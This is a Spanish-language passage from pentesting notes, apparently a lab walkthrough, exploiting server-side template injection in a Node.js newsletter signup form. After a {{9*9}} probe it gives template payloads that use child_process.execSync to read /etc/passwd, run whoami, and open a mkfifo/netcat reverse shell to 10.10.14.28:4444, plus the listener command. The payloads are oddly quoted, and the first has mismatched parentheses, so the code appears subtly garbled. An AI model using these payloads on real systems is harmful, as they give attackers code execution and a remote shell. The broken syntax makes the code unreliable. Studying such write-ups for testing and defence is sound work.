> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI Node.js

## SSTI (Node.js)

Observamos una funcionalidad que permite a los usuarios introducir un correo electrónico para suscribirse a un boletín. La respuesta del servidor muestra directamente nuestra entrada, lo que sugiere una posible **Inyección de plantillas del lado del servidor (SSTI)**.

<figure><img src="/files/cb960eca028ca7c886ba5250da35167780028078" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/91b6d91c1fa56b29dfa0fd8d8d8fee89dc569ec8" alt=""><figcaption></figcaption></figure>

#### Prueba de vulnerabilidad

Interceptamos la solicitud con **Burp Suite** y probamos una SSTI clásica:

<figure><img src="/files/69bb496bfa0c688c94621a4bf73e8b72ecb27cfc" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

Si la respuesta muestra `81`, entonces la aplicación es vulnerable, ese es el caso aquí.

<figure><img src="/files/e59819666ba6847002dc4c601609756b42a5555c" alt=""><figcaption></figcaption></figure>

### Lectura `/etc/passwd`

Usamos el payload siguiente para mostrar el contenido de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/cf62286c792e8f70d1ad3b052cfe39ab0b7d251e" alt=""><figcaption></figcaption></figure>

#### Obtención del usuario actual

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

Obtenemos `david`.

<figure><img src="/files/0f4f547ffd6100def6062cd72ecbceaf17ba3062" alt=""><figcaption></figcaption></figure>

### Shell inversa mediante SSTI (Node.js)

Inicio del listener en el puerto **4444**:

```bash
nc -nlvp 4444

```

Envío del payload de shell inversa:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

Acceso a la máquina objetivo

<figure><img src="/files/784c8f8e416f5368016fafdd68c134d04a6d77e7" alt=""><figcaption></figcaption></figure>


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